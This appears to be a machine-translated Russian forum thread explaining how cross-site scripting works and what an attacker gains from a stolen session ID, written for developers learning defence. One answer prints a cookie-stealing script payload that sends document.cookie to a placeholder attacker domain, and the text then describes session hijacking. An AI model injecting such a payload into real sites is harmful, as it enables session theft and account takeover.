Как XSS атака действительно работает? - PullRequest
5 голосов
/ 29 июля 2010

Итак, предотвратить сайт от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и все хорошо.
Но если разработчик забыл его использовать, что может сделать злоумышленник / хакер? Он может получить ваш session_id, верно? И вот вопрос. Что он может с этим сделать?
Большое спасибо.

Ответы [ 5 ]

9 голосов
/ 29 июля 2010

Итак, предотвратить сайт от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и все хорошо.

правый. Используйте его где угодно, когда вы собираетесь снова отобразить контролируемый пользователем ввод . Это касается всех частей HTTP-запроса: заголовков, тела и параметров.

Но если разработчик забыл его использовать, что может сделать злоумышленник / хакер?

Он / она может вставить какой-нибудь вредоносный HTML / скрипт. Например. следующее в некоторых сообщениях / комментариях на веб-странице:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>

Выше будет запрашивать изображение из почтового домена вместе с файлом cookie документа в качестве строки запроса.

Он может получить ваш session_id, верно? И вот вопрос. Что он может с этим сделать?

Идентификатор сеанса хранится в файле cookie. Как только хакер получает уведомление о том, что изображение было запрошено с помощью файла cookie в строке запроса, все, что ему нужно сделать, - это просто отредактировать файл cookie браузера, включив в него тот же идентификатор сеанса, чтобы войти в систему в качестве исходного пользователя. Это, очевидно, очень опасно, если исходный пользователь является администратором сайта.

6 голосов
/ 29 июля 2010

Это лучшее объяснение XSS, с которым я когда-либо сталкивался: Пример Flash-анимации

Вот Второе видео

1 голос
/ 29 июля 2010

Злоумышленник A заставляет участника B получить доступ к сайту C с учетными данными B через тщательно сконструированный URI A.

A может затем запустить любой JS, который им нравится, на C с использованием учетных данных B.

Это позволяет им:

  • Предоставлять любую информацию, которая им нравится, B, как если бы она была получена от C
  • Получить браузер B для отправки любой информации, которую они хотят от Cна A
    • Данные учетной записи
    • Личная информация
  • Отправить любую инструкцию на сайт C, как если бы она пришла от A
    • Опубликовать этоспам
    • Перевод денег на этот счет
    • Купить эту очень дорогую электронную книгу
0 голосов
/ 29 июля 2010

Если у вас есть уязвимость XSS на вашем веб-сайте, то хакер может вставить любой HTML-код на страницу, включая тег <script>. Если я войду на ваш веб-сайт и зайду на атакованную страницу, мой браузер запустит JavaScript, вставленный туда хакером, и заставит мой браузер делать то, что хотел хакер.

Например, отправив POST-запрос на ваш сервер для изменения моего пароля, затем загрузив URL-адрес с сервера хакера, чтобы уведомить его о номере моей учетной записи, чтобы он мог войти и украсть мою учетную запись.

0 голосов
/ 29 июля 2010
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...